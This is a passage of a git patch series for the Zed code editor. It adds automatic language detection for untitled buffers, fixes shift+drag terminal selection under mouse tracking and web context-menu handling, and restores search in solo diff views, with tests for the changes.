+                                    CsvPreviewView::open_preview_in_pane(editor, pane, window, cx);
+                                }
+                            }
                         }
                     });
                 }

From 690c7fac64a4ed013ad92d8794333a6548858e2f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E1=B4=80=E1=B4=8D=E1=B4=9B=E1=B4=8F=E1=B4=80=E1=B4=87?=
 =?UTF-8?q?=CA=80?= <amtoaer@gmail.com>
Date: Mon, 20 Jul 2026 13:12:49 +0800
Subject: [PATCH 552/772] editor: Add language detection for untitled buffers
 (#61201)

# Objective

Closes #4868.

Untitled buffers start as Plain Text and require users to select a
language manually before receiving syntax highlighting. Add lightweight
automatic language detection for code entered or pasted into untitled
buffers.

## Solution

This builds on [Max Stevens's earlier language-detection
work](https://github.com/zed-industries/zed/pull/43057), replacing
Magika with [Betlang](https://github.com/DioxusLabs/betlang).

While researching smaller and faster alternatives to Magika, I came
across Betlang, a recently introduced language detection library
developed by DioxusLabs for dioxus-code. The fact that it comes from
DioxusLabs gave me more confidence in evaluating this relatively new
dependency for Zed. Betlang embeds an approximately 50 KB model, is
MIT-licensed, and depends only on `fearless_simd`, making it well suited
to Zed's cross-platform embedding requirements.

Detection runs on the background executor with bounded input sampling.
It is restricted to untitled buffers, skips content shorter than 20
bytes, and requires at least 50% confidence. These limits have worked
well in local testing. In release builds on Linux with an Intel Core
i5-13600KF, the `betlang::detect` call alone typically completes within
3 ms when processing the maximum sampled input.

## Testing

I added a test for language detection in untitled buffers that covers
both manually entered and pasted content. The test passes successfully.
I also manually tested the feature to verify that the overall experience
works well.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase



https://github.com/user-attachments/assets/96e28ad7-2968-4325-9aff-37fe813a2da7



---

Release Notes:

- Added automatic language detection for untitled buffers.

---------

Co-authored-by: Max Stevens <maxstevens2708@gmail.com>
---
 Cargo.lock                                    | 25 ++++++
 Cargo.toml                                    |  3 +
 crates/editor/Cargo.toml                      |  1 +
 crates/editor/src/editor.rs                   | 48 +++++++++++-
 crates/editor/src/editor_tests.rs             | 77 ++++++++++++++++++-
 crates/language_detection/Cargo.toml          | 17 ++++
 crates/language_detection/LICENSE-GPL         |  1 +
 .../src/language_detection.rs                 | 58 ++++++++++++++
 8 files changed, 227 insertions(+), 3 deletions(-)
 create mode 100644 crates/language_detection/Cargo.toml
 create mode 120000 crates/language_detection/LICENSE-GPL
 create mode 100644 crates/language_detection/src/language_detection.rs

diff --git a/Cargo.lock b/Cargo.lock
index b7fea112e1a62d..787d8a8cde2e23 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -2176,6 +2176,15 @@ dependencies = [
  "zed_actions",
 ]
 
+[[package]]
+name = "betlang"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c9a5811a1a59386e19785588e5bb2384b7d543b4870acedd1c7a1cb177b13b7d"
+dependencies = [
+ "fearless_simd",
+]
+
 [[package]]
 name = "bigdecimal"
 version = "0.4.8"
@@ -5766,6 +5775,7 @@ dependencies = [
  "indoc",
  "itertools 0.14.0",
  "language",
+ "language_detection",
  "languages",
  "linkify",
  "log",
@@ -6555,6 +6565,12 @@ dependencies = [
  "simd-adler32",
 ]
 
+[[package]]
+name = "fearless_simd"
+version = "0.4.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b97b65636e5b9ef369943878ac74335ba1c55c1cb6adbf1e2c293c624248d693"
+
 [[package]]
 name = "feature_flags"
 version = "0.1.0"
@@ -9771,6 +9787,15 @@ dependencies = [
  "tree-sitter",
 ]
 
+[[package]]
+name = "language_detection"
+version = "0.1.0"
+dependencies = [
+ "betlang",
+ "gpui",
+ "language",
+]
+
 [[package]]
 name = "language_extension"
 version = "0.1.0"
diff --git a/Cargo.toml b/Cargo.toml
index 9d0b9da1826ef6..89dd8132284c4f 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -114,6 +114,7 @@ members = [
     "crates/keymap_editor",
     "crates/language",
     "crates/language_core",
+    "crates/language_detection",
     "crates/language_extension",
     "crates/language_model",
     "crates/language_model_core",
@@ -376,6 +377,7 @@ json_schema_store = { path = "crates/json_schema_store" }
 keymap_editor = { path = "crates/keymap_editor" }
 language = { path = "crates/language" }
 language_core = { path = "crates/language_core" }
+language_detection = { path = "crates/language_detection" }
 language_extension = { path = "crates/language_extension" }
 language_model = { path = "crates/language_model" }
 language_model_core = { path = "crates/language_model_core" }
@@ -554,6 +556,7 @@ aws-smithy-runtime-api = { version = "1.9.2", features = ["http-1x", "client"] }
 aws-smithy-types = { version = "1.3.4", features = ["http-body-1-x"] }
 backtrace = "0.3"
 base64 = "0.22"
+betlang = "0.1.0"
 bitflags = "2.6.0"
 block2 = "0.6"
 brotli = "8.0.2"
diff --git a/crates/editor/Cargo.toml b/crates/editor/Cargo.toml
index b6df4a370fc87a..2f884ae0426fc1 100644
--- a/crates/editor/Cargo.toml
+++ b/crates/editor/Cargo.toml
@@ -56,6 +56,7 @@ indoc.workspace = true
 edit_prediction_types.workspace = true
 itertools.workspace = true
 language.workspace = true
+language_detection.workspace = true
 linkify.workspace = true
 log.workspace = true
 lsp.workspace = true
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 635521b46022ed..4f73d8fec9d876 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -190,6 +190,7 @@ use language::{
     },
     point_from_lsp, point_to_lsp, text_diff_with_options,
 };
+use language_detection::detect_language;
 use linked_editing_ranges::refresh_linked_ranges;
 use lsp::{
     CodeActionKind, CompletionItemKind, CompletionTriggerKind, InsertTextFormat, InsertTextMode,
@@ -296,6 +297,8 @@ const CURSOR_BLINK_INTERVAL: Duration = Duration::from_millis(500);
 const MAX_LINE_LEN: usize = 1024;
 const MIN_NAVIGATION_HISTORY_ROW_DELTA: i64 = 10;
 const MAX_SELECTION_HISTORY_LEN: usize = 1024;
+const MIN_LANGUAGE_DETECTION_LEN: usize = 20;
+const MIN_LANGUAGE_DETECTION_CONFIDENCE: f32 = 0.5;
 pub(crate) const CURSORS_VISIBLE_FOR: Duration = Duration::from_millis(2000);
 #[doc(hidden)]
 pub const CODE_ACTIONS_DEBOUNCE_TIMEOUT: Duration = Duration::from_millis(250);
@@ -9554,8 +9557,9 @@ impl Editor {
                         cx.emit(EditorEvent::TitleChanged);
                     }
 
+                    let buffer_id = buffer.read(cx).remote_id();
+
                     if self.project.is_some() {
-                        let buffer_id = buffer.read(cx).remote_id();
                         self.register_buffer(buffer_id, cx);
                         self.update_lsp_data(Some(buffer_id), window, cx);
                         self.refresh_inlay_hints(
@@ -9563,6 +9567,8 @@ impl Editor {
                             cx,
                         );
                     }
+
+                    self.detect_buffer_language(buffer_id, cx);
                 }
 
                 cx.emit(EditorEvent::BufferEdited);
@@ -10816,6 +10822,46 @@ impl Editor {
         self.refresh_document_symbols(for_buffer, cx);
     }
 
+    fn detect_buffer_language(&self, buffer_id: BufferId, cx: &mut Context<Self>) {
+        if DisableAiSettings::get_global(cx).disable_ai {
+            return;
+        }
+
+        let Some(buffer_entity) = self.buffer().read(cx).buffer(buffer_id) else {
+            return;
+        };
+
+        let buffer = buffer_entity.read(cx);
+        if buffer.file().is_some() {
+            return;
+        }
+
+        let buffer_snapshot = buffer.snapshot();
+        if buffer_snapshot.len() < MIN_LANGUAGE_DETECTION_LEN {
+            return;
+        }
+
+        let Some(language_registry) = buffer.language_registry() else {
+            return;
+        };
+        let buffer_version = buffer_snapshot.version().clone();
+        let detected_language = detect_language(buffer_snapshot, language_registry, cx);
+
+        cx.spawn(async move |_, cx| {
+            if let Some((detected_language, confidence)) = detected_language.await {
+                if confidence < MIN_LANGUAGE_DETECTION_CONFIDENCE {
+                    return;
+                }
+                buffer_entity.update(cx, |buffer, cx| {
+                    if buffer.file().is_none() && !buffer.version().changed_since(&buffer_version) {
+                        buffer.set_language(Some(detected_language), cx);
+                    }
+                });
+            }
+        })
+        .detach();
+    }
+
     fn register_visible_buffers(&mut self, cx: &mut Context<Self>) {
         if !self.lsp_data_enabled() {
             return;
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 015e8b5b43c424..f67b04c2112291 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -35,8 +35,7 @@ use language::{
     tree_sitter_python,
 };
 use language_settings::Formatter;
-use languages::markdown_lang;
-use languages::rust_lang;
+use languages::{language, markdown_lang, rust_lang};
 use lsp::{CompletionParams, DEFAULT_LSP_REQUEST_TIMEOUT};
 use multi_buffer::{IndentGuide, MultiBuffer, MultiBufferOffset, MultiBufferOffsetUtf16, PathKey};
 use parking_lot::Mutex;
@@ -9603,6 +9602,80 @@ async fn test_kill_ring_yank_pastes_accumulated_kill_at_each_cursor(cx: &mut Tes
     cx.assert_editor_state("aone\nˇ bone\nˇ");
 }
 
+#[gpui::test]
+async fn test_editing_untitled_buffer_redetects_language(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let fs = FakeFs::new(cx.executor());
+    let project = Project::test(fs, [], cx).await;
+    let go_language = language("go", tree_sitter_go::LANGUAGE.into());
+    project.read_with(cx, |project, _| {
+        project.languages().add(rust_lang());
+        project.languages().add(go_language.clone());
+    });
+    let buffer = project
+        .update(cx, |project, cx| project.create_buffer(None, true, cx))
+        .await
+        .unwrap();
+    let window = cx.add_window(|window, cx| {
+        let editor = build_editor_with_project(
+            project,
+            MultiBuffer::build_from_buffer(buffer.clone(), cx),
+            window,
+            cx,
+        );
+        window.focus(&editor.focus_handle(cx), cx);
+        editor
+    });
+    let editor = window.root(cx).unwrap();
+    let cx = &mut VisualTestContext::from_window(*window, cx);
+
+    assert_eq!(
+        buffer.read_with(cx, |buffer, _| buffer.language().unwrap().name()),
+        PLAIN_TEXT.name()
+    );
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.insert("fn main() {}", window, cx);
+    });
+    cx.run_until_parked();
+
+    assert_eq!(
+        buffer.read_with(cx, |buffer, _| buffer.language().unwrap().name()),
+        PLAIN_TEXT.name()
+    );
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.select_all(&SelectAll, window, cx);
+        editor.insert("fn main() { println!(\"hello\"); }", window, cx);
+    });
+    cx.run_until_parked();
+
+    assert_eq!(
+        buffer.read_with(cx, |buffer, _| buffer.language().unwrap().name()),
+        rust_lang().name()
+    );
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.select_all(&SelectAll, window, cx);
+        editor.backspace(&Backspace, window, cx);
+    });
+    cx.run_until_parked();
+
+    editor.update_in(cx, |editor, window, cx| {
+        cx.write_to_clipboard(ClipboardItem::new_string(
+            "package main\n\nimport \"fmt\"\n\nfunc main() { fmt.Println(\"hello\") }".to_string(),
+        ));
+        editor.paste(&Paste, window, cx);
+    });
+    cx.run_until_parked();
+
+    assert_eq!(
+        buffer.read_with(cx, |buffer, _| buffer.language().unwrap().name()),
+        go_language.name()
+    );
+}
+
 #[gpui::test]
 async fn test_clipboard(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/language_detection/Cargo.toml b/crates/language_detection/Cargo.toml
new file mode 100644
index 00000000000000..b2d80c6f162ecd
--- /dev/null
+++ b/crates/language_detection/Cargo.toml
@@ -0,0 +1,17 @@
+[package]
+name = "language_detection"
+version = "0.1.0"
+edition.workspace = true
+publish.workspace = true
+license = "GPL-3.0-or-later"
+
+[lints]
+workspace = true
+
+[lib]
+path = "src/language_detection.rs"
+
+[dependencies]
+betlang.workspace = true
+gpui.workspace = true
+language.workspace = true
diff --git a/crates/language_detection/LICENSE-GPL b/crates/language_detection/LICENSE-GPL
new file mode 120000
index 00000000000000..89e542f750cd38
--- /dev/null
+++ b/crates/language_detection/LICENSE-GPL
@@ -0,0 +1 @@
+../../LICENSE-GPL
\ No newline at end of file
diff --git a/crates/language_detection/src/language_detection.rs b/crates/language_detection/src/language_detection.rs
new file mode 100644
index 00000000000000..3c41bf34a88dbc
--- /dev/null
+++ b/crates/language_detection/src/language_detection.rs
@@ -0,0 +1,58 @@
+use gpui::{App, AppContext, Task};
+use language::{BufferSnapshot, Language, LanguageRegistry};
+use std::sync::Arc;
+
+const SAMPLE_BLOCK_SIZE: usize = 4096;
+
+fn language_registry_key(language: betlang::Language) -> &'static str {
+    match language {
+        betlang::Language::ObjectiveC => "Objective-C",
+        betlang::Language::Shell => "Shell Script",
+        _ => language.slug(),
+    }
+}
+
+pub fn detect_language(
+    buffer: BufferSnapshot,
+    language_registry: Arc<LanguageRegistry>,
+    cx: &mut App,
+) -> Task<Option<(Arc<Language>, f32)>> {
+    let source = extract_sample(&buffer);
+    cx.background_spawn(async move {
+        let detection = betlang::detect(source);
+        let (confidence, language) = detection.top_languages().next()?;
+        let language = language_registry
+            .language_for_name_or_extension(language_registry_key(language))
+            .await
+            .ok()?;
+
+        Some((language, confidence))
+    })
+}
+
+fn extract_sample(buffer: &BufferSnapshot) -> Vec<u8> {
+    let source_length = buffer.len();
+    let ranges = if source_length <= SAMPLE_BLOCK_SIZE * 2 {
+        vec![0..source_length]
+    } else {
+        vec![
+            0..SAMPLE_BLOCK_SIZE,
+            source_length - SAMPLE_BLOCK_SIZE..source_length,
+        ]
+    };
+
+    ranges
+        .into_iter()
+        .flat_map(|range| buffer.bytes_in_range(range))
+        .flat_map(|chunk| chunk.iter().copied())
+        .collect()
+}
+
+#[cfg(test)]
+mod tests {
+    #[test]
+    fn detects_rust_source() {
+        let detection = betlang::detect("fn main() { println!(\"hello\"); }");
+        assert_eq!(detection.language(), Some(betlang::Language::Rust));
+    }
+}

From 79d238f6fdde25388786c9690ef10a1d3e0319b3 Mon Sep 17 00:00:00 2001
From: Apoorva Verma <76636952+apoorva-01@users.noreply.github.com>
Date: Mon, 20 Jul 2026 10:59:27 +0530
Subject: [PATCH 553/772] terminal: Start a selection on shift+drag when mouse
 tracking is active (#60880)

run htop or btm and you can't select terminal text with shift+drag, the
usual escape hatch does nothing.

#25143 made shift+click only ever extend a selection, never start one.
so with nothing selected there's no anchor and the drag has nothing to
grab. now it drops an anchor when there's no selection, and still
extends when there is.

added two event-level tests (harness can't sync without a window):
shift+drag under mouse tracking, which fails without the fix, and
shift+click still extending.

Fixes #60254.

Release Notes:

- Fixed Shift+click-drag not selecting terminal text while an app has
mouse tracking enabled
---
 crates/terminal/src/terminal.rs | 122 +++++++++++++++++++++++++++++++-
 1 file changed, 120 insertions(+), 2 deletions(-)

diff --git a/crates/terminal/src/terminal.rs b/crates/terminal/src/terminal.rs
index a1e1c1c937e658..e41a2dbe7bb36b 100644
--- a/crates/terminal/src/terminal.rs
+++ b/crates/terminal/src/terminal.rs
@@ -2513,8 +2513,18 @@ impl Terminal {
                     };
 
                     if selection_type == Some(SelectionType::Simple) && e.modifiers.shift {
-                        self.events
-                            .push_back(InternalEvent::UpdateSelection(position));
+                        if self.last_content.selection.is_some() {
+                            // Shift+click extends the existing selection to this point.
+                            self.events
+                                .push_back(InternalEvent::UpdateSelection(position));
+                        } else {
+                            // With no selection yet, Shift is the escape hatch for
+                            // selecting text while an app has mouse tracking enabled,
+                            // so anchor a selection here for the drag to extend.
+                            self.events.push_back(InternalEvent::SetSelection(Some(
+                                Selection::new(SelectionType::Simple, point, side),
+                            )));
+                        }
                         return;
                     }
 
@@ -3760,6 +3770,114 @@ mod tests {
         });
     }
 
+    /// With mouse tracking active (e.g. htop), Shift is the escape hatch to
+    /// select terminal text. Shift+drag must start a selection rather than being
+    /// swallowed as a "extend existing selection" no-op. Regression test for #60254.
+    #[gpui::test]
+    async fn test_terminal_shift_drag_selects_while_mouse_tracking(cx: &mut TestAppContext) {
+        // `?1002h` enables button-event mouse tracking, `?1006h` selects SGR encoding.
+        let terminal = init_ctrl_click_hyperlink_test(cx, b"\x1b[?1002h\x1b[?1006hhello world\r\n");
+
+        terminal.update(cx, |terminal, cx| {
+            assert!(
+                terminal.last_content.mode.intersects(Modes::MOUSE_MODE),
+                "mouse tracking should be active"
+            );
+
+            let shift = Modifiers {
+                shift: true,
+                ..Modifiers::none()
+            };
+            terminal.mouse_down(
+                &MouseDownEvent {
+                    button: MouseButton::Left,
+                    position: point(px(50.0), px(10.0)),
+                    modifiers: shift,
+                    click_count: 1,
+                    first_mouse: true,
+                },
+                cx,
+            );
+
+            // With no selection yet, the shift press must anchor a new selection
+            // so the following drag has something to extend.
+            assert!(
+                terminal
+                    .events
+                    .iter()
+                    .any(|event| matches!(event, InternalEvent::SetSelection(Some(_)))),
+                "shift+click with no existing selection should anchor a selection"
+            );
+            terminal.events.clear();
+
+            let region = terminal.last_content.terminal_bounds.bounds;
+            terminal.mouse_drag(
+                &MouseMoveEvent {
+                    position: point(px(90.0), px(10.0)),
+                    pressed_button: Some(MouseButton::Left),
+                    modifiers: shift,
+                },
+                region,
+                cx,
+            );
+
+            assert!(
+                terminal
+                    .events
+                    .iter()
+                    .any(|event| matches!(event, InternalEvent::UpdateSelection(_))),
+                "shift+drag should extend the selection while mouse tracking is active"
+            );
+            assert!(terminal.selection_phase == SelectionPhase::Selecting);
+        });
+    }
+
+    /// Shift+click with a selection already on screen must keep extending it
+    /// (the behavior added in #25143), not re-anchor a fresh one.
+    #[gpui::test]
+    async fn test_terminal_shift_click_extends_existing_selection(cx: &mut TestAppContext) {
+        let terminal = init_ctrl_click_hyperlink_test(cx, b"hello world\r\n");
+
+        terminal.update(cx, |terminal, cx| {
+            // A visible selection, as a sync would have populated in production.
+            terminal.last_content.selection = Some(SelectionRange {
+                start: Point::new(0, 0),
+                end: Point::new(0, 5),
+                is_block: false,
+            });
+            terminal.events.clear();
+
+            terminal.mouse_down(
+                &MouseDownEvent {
+                    button: MouseButton::Left,
+                    position: point(px(90.0), px(10.0)),
+                    modifiers: Modifiers {
+                        shift: true,
+                        ..Modifiers::none()
+                    },
+                    click_count: 1,
+                    first_mouse: true,
+                },
+                cx,
+            );
+
+            assert!(
+                terminal
+                    .events
+                    .iter()
+                    .any(|event| matches!(event, InternalEvent::UpdateSelection(_))),
+                "shift+click with an existing selection should extend it"
+            );
+            assert!(
+                !terminal
+                    .events
+                    .iter()
+                    .any(|event| matches!(event, InternalEvent::SetSelection(Some(_)))),
+                "shift+click should extend, not re-anchor, an existing selection"
+            );
+        });
+    }
+
     #[gpui::test]
     async fn test_basic_terminal(cx: &mut TestAppContext) {
         cx.executor().allow_parking();

From ed4d201f507ee28733f52b528244c49c6f5a4daf Mon Sep 17 00:00:00 2001
From: Baris Palaska <barispalaska@gmail.com>
Date: Mon, 20 Jul 2026 06:31:27 +0100
Subject: [PATCH 554/772] gpui_web: Only cancel the native context menu when
 the app claims the right-click (#60892)

# Objective

The contextmenu listener cancelled the browser's native menu
unconditionally, so pages hosting a gpui app lost right-click entirely
wherever the app showed no menu of its own, and apps that do show one
had no native menu to suppress selectively.

## Solution

Record whether the right-button MouseDown dispatch was consumed (a
handler called stop_propagation, e.g. to open a custom menu) and cancel
the native menu only in that case: app menus win where they exist, the
browser menu everywhere else. Apps opening custom context menus should
mark the triggering mousedown consumed to opt in.

## Testing

Tested locally

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<img width="816" height="288" alt="context menu"
src="https://github.com/user-attachments/assets/c79cd2ef-d465-4431-8461-7a9feb922576"
/>


Release Notes:

- N/A
---
 crates/gpui_web/src/events.rs | 15 +++++++++++++--
 crates/gpui_web/src/window.rs |  2 ++
 2 files changed, 15 insertions(+), 2 deletions(-)

diff --git a/crates/gpui_web/src/events.rs b/crates/gpui_web/src/events.rs
index 08434aada41589..31a37d527f1d7d 100644
--- a/crates/gpui_web/src/events.rs
+++ b/crates/gpui_web/src/events.rs
@@ -151,13 +151,21 @@ impl WebWindowInner {
                 current_state.modifiers = modifiers;
             }
 
-            this.dispatch_input(PlatformInput::MouseDown(MouseDownEvent {
+            let result = this.dispatch_input(PlatformInput::MouseDown(MouseDownEvent {
                 button,
                 position,
                 modifiers,
                 click_count,
                 first_mouse: false,
             }));
+
+            // The browser fires `contextmenu` after this event; remember whether
+            // the app claimed the right-click (e.g. opened its own menu) so the
+            // contextmenu listener cancels the native menu only in that case.
+            if button == MouseButton::Right {
+                let claimed = result.is_some_and(|result| !result.propagate);
+                this.app_claimed_right_click.set(claimed);
+            }
         })
     }
 
@@ -271,9 +279,12 @@ impl WebWindowInner {
     }
 
     fn register_context_menu(self: &Rc<Self>) -> Closure<dyn FnMut(JsValue)> {
+        let this = Rc::clone(self);
         self.listen("contextmenu", move |event: JsValue| {
             let event: web_sys::Event = event.unchecked_into();
-            event.prevent_default();
+            if this.app_claimed_right_click.replace(false) {
+                event.prevent_default();
+            }
         })
     }
 
diff --git a/crates/gpui_web/src/window.rs b/crates/gpui_web/src/window.rs
index b9399d32e63e0f..5f4223572b33be 100644
--- a/crates/gpui_web/src/window.rs
+++ b/crates/gpui_web/src/window.rs
@@ -55,6 +55,7 @@ pub(crate) struct WebWindowInner {
     pub(crate) last_physical_size: Cell<(u32, u32)>,
     pub(crate) notify_scale: Cell<bool>,
     pub(crate) is_composing: Cell<bool>,
+    pub(crate) app_claimed_right_click: Cell<bool>,
     mql_handle: RefCell<Option<MqlHandle>>,
     pending_physical_size: Cell<Option<(u32, u32)>>,
 }
@@ -182,6 +183,7 @@ impl WebWindow {
             last_physical_size: Cell::new((0, 0)),
             notify_scale: Cell::new(false),
             is_composing: Cell::new(false),
+            app_claimed_right_click: Cell::new(false),
             mql_handle: RefCell::new(None),
             pending_physical_size: Cell::new(None),
         });

From 777aa2ee85a61796a15fd0aeec1df4c39925aae5 Mon Sep 17 00:00:00 2001
From: saberoueslati <saberoueslati12@gmail.com>
Date: Mon, 20 Jul 2026 06:37:29 +0100
Subject: [PATCH 555/772] git_ui: Restore search in solo diff views (#60936)

## Context

Buffer search did not work in file diffs opened from the Git panel
because `SoloDiffView` did not expose its embedded editor as searchable.
Restoring search also revealed that the primary toolbar clipped several
search controls, so the deployed search bar now uses the full-width
secondary row for this view.

Closes #60659.

## How to Review

Three files changed. Read in this order:

**`crates/git_ui/src/solo_diff_view.rs`** :
`SoloDiffView::as_searchable` now returns its embedded
`SplittableEditor`, restoring search for the focused diff side while
keeping the editor hidden from global diff-style controls.

**`crates/search/src/buffer_search.rs`** : Buffer search now detects
when its searchable split editor is intentionally hidden by the
containing item. When deployed, this case uses the secondary toolbar row
so Toggle Replace, search options, match navigation, and match counts
remain visible. Other multibuffer layouts keep their existing primary
toolbar location.

**`crates/git_ui/src/git_panel.rs`** : The regression test now opens a
solo diff through the Git panel, confirms the split editor is
searchable, deploys buffer search, verifies the secondary toolbar
location, runs a query, and checks that the focused editor receives a
search highlight.

Manual test after the fix below :

[Screencast from 2026-07-14
00-39-04.webm](https://github.com/user-attachments/assets/022ab106-d35a-4a75-98db-8809b86fa58d)

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed searching in file diffs opened from the Git panel.

Co-authored-by: Chris Biscardi <chris@christopherbiscardi.com>
---
 crates/git_ui/src/git_panel.rs      | 54 +++++++++++++++++++++++++++--
 crates/git_ui/src/solo_diff_view.rs |  2 +-
 crates/search/src/buffer_search.rs  | 26 ++++++++++----
 3 files changed, 71 insertions(+), 11 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 36d07381d81321..a5b311fd52b742 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -8741,6 +8741,7 @@ pub(crate) fn commit_title_exceeds_limit(title: &str, max_length: usize) -> bool
 
 #[cfg(test)]
 mod tests {
+    use editor::SplittableEditor;
     use git::{
         repository::repo_path,
         status::{StatusCode, TrackedStatus, UnmergedStatus, UnmergedStatusCode},
@@ -8748,13 +8749,15 @@ mod tests {
     use gpui::{TestAppContext, UpdateGlobal, VisualTestContext, px};
     use indoc::indoc;
     use project::FakeFs;
+    use search::{BufferSearchBar, buffer_search::Deploy};
     use serde_json::json;
     use settings::SettingsStore;
+    use std::any::TypeId;
     use theme::LoadThemes;
     use util::path;
     use util::rel_path::rel_path;
 
-    use workspace::MultiWorkspace;
+    use workspace::{MultiWorkspace, ToolbarItemEvent, ToolbarItemLocation};
 
     use super::*;
 
@@ -10238,6 +10241,7 @@ mod tests {
     #[gpui::test]
     async fn test_group_by_staging_open_diff_uses_section_diff(cx: &mut TestAppContext) {
         init_test(cx);
+        cx.update(search::buffer_search::init);
         let fs = FakeFs::new(cx.background_executor.clone());
         fs.insert_tree(
             path!("/project"),
@@ -10313,10 +10317,54 @@ mod tests {
         });
         cx.run_until_parked();
 
-        workspace.read_with(&cx, |workspace, cx| {
-            assert!(workspace.active_item_as::<SoloDiffView>(cx).is_some());
+        let search_bar = workspace.update_in(&mut cx, |workspace, window, cx| {
+            let search_bar = cx.new(|cx| BufferSearchBar::new(None, window, cx));
+            workspace.active_pane().update(cx, |pane, cx| {
+                pane.toolbar().update(cx, |toolbar, cx| {
+                    toolbar.add_item(search_bar.clone(), window, cx)
+                });
+            });
+            search_bar
+        });
+
+        let split_editor = workspace.read_with(&cx, |workspace, cx| {
+            let solo_diff = workspace
+                .active_item_as::<SoloDiffView>(cx)
+                .expect("SoloDiffView should be active");
+            let searchable = solo_diff
+                .read(cx)
+                .as_searchable(&solo_diff, cx)
+                .expect("SoloDiffView should expose its editor to buffer search");
+            let split_editor = searchable
+                .act_as_type(TypeId::of::<SplittableEditor>(), cx)
+                .and_then(|entity| entity.downcast::<SplittableEditor>().ok())
+                .expect("the split editor should be the searchable item");
             assert_eq!(workspace.items_of_type::<StagedDiff>(cx).count(), 1);
             assert_eq!(workspace.items_of_type::<SoloDiffView>(cx).count(), 1);
+            split_editor
+        });
+
+        let mut search_bar_events = cx.events::<ToolbarItemEvent, BufferSearchBar>(&search_bar);
+        cx.dispatch_action(Deploy::find());
+        cx.run_until_parked();
+        cx.read(|cx| assert!(!search_bar.read(cx).is_dismissed()));
+        assert_eq!(
+            search_bar_events
+                .try_recv()
+                .expect("search bar location event"),
+            ToolbarItemEvent::ChangeLocation(ToolbarItemLocation::Secondary)
+        );
+
+        search_bar
+            .update_in(&mut cx, |search_bar, window, cx| {
+                search_bar.search("partial", None, false, window, cx)
+            })
+            .await
+            .expect("buffer search should complete");
+
+        let focused_editor = cx.read(|cx| split_editor.read(cx).focused_editor().clone());
+        focused_editor.update_in(&mut cx, |editor, _window, cx| {
+            assert_eq!(editor.search_background_highlights(cx).len(), 1);
         });
 
         panel.update_in(&mut cx, |panel, window, cx| {
diff --git a/crates/git_ui/src/solo_diff_view.rs b/crates/git_ui/src/solo_diff_view.rs
index 9ada614cfcf02d..038bde7d0784fc 100644
--- a/crates/git_ui/src/solo_diff_view.rs
+++ b/crates/git_ui/src/solo_diff_view.rs
@@ -435,7 +435,7 @@ impl Item for SoloDiffView {
     }
 
     fn as_searchable(&self, _: &Entity<Self>, _: &App) -> Option<Box<dyn SearchableItemHandle>> {
-        None
+        Some(Box::new(self.editor.clone()))
     }
 
     fn for_each_project_item(
diff --git a/crates/search/src/buffer_search.rs b/crates/search/src/buffer_search.rs
index 2c51c97a0eb03d..f0fa4acafd090d 100644
--- a/crates/search/src/buffer_search.rs
+++ b/crates/search/src/buffer_search.rs
@@ -608,13 +608,13 @@ impl ToolbarItemView for BufferSearchBar {
             let is_project_search = searchable_item_handle.supported_options(cx).find_in_results;
             self.active_searchable_item = Some(searchable_item_handle);
             drop(self.update_matches(true, false, window, cx));
-            if self.needs_expand_collapse_option(cx) {
+            if self.needs_expand_collapse_option(cx) && self.is_dismissed() {
                 return ToolbarItemLocation::PrimaryLeft;
             } else if !self.is_dismissed() {
                 if is_project_search {
                     self.dismiss(&Default::default(), window, cx);
                 } else {
-                    return ToolbarItemLocation::Secondary;
+                    return self.deployed_toolbar_location(cx);
                 }
             }
         }
@@ -944,15 +944,27 @@ impl BufferSearchBar {
         cx.notify();
         cx.emit(Event::UpdateLocation);
         cx.emit(ToolbarItemEvent::ChangeLocation(
-            if self.needs_expand_collapse_option(cx) {
-                ToolbarItemLocation::PrimaryLeft
-            } else {
-                ToolbarItemLocation::Secondary
-            },
+            self.deployed_toolbar_location(cx),
         ));
         true
     }
 
+    fn deployed_toolbar_location(&self, cx: &App) -> ToolbarItemLocation {
+        if self.needs_expand_collapse_option(cx) && !self.uses_hidden_splittable_editor(cx) {
+            ToolbarItemLocation::PrimaryLeft
+        } else {
+            ToolbarItemLocation::Secondary
+        }
+    }
+
+    fn uses_hidden_splittable_editor(&self, cx: &App) -> bool {
+        self.splittable_editor.is_none()
+            && self.active_searchable_item.as_ref().is_some_and(|item| {
+                item.act_as_type(TypeId::of::<SplittableEditor>(), cx)
+                    .is_some()
+            })
+    }
+
     fn supported_options(&self, cx: &mut Context<Self>) -> workspace::searchable::SearchOptions {
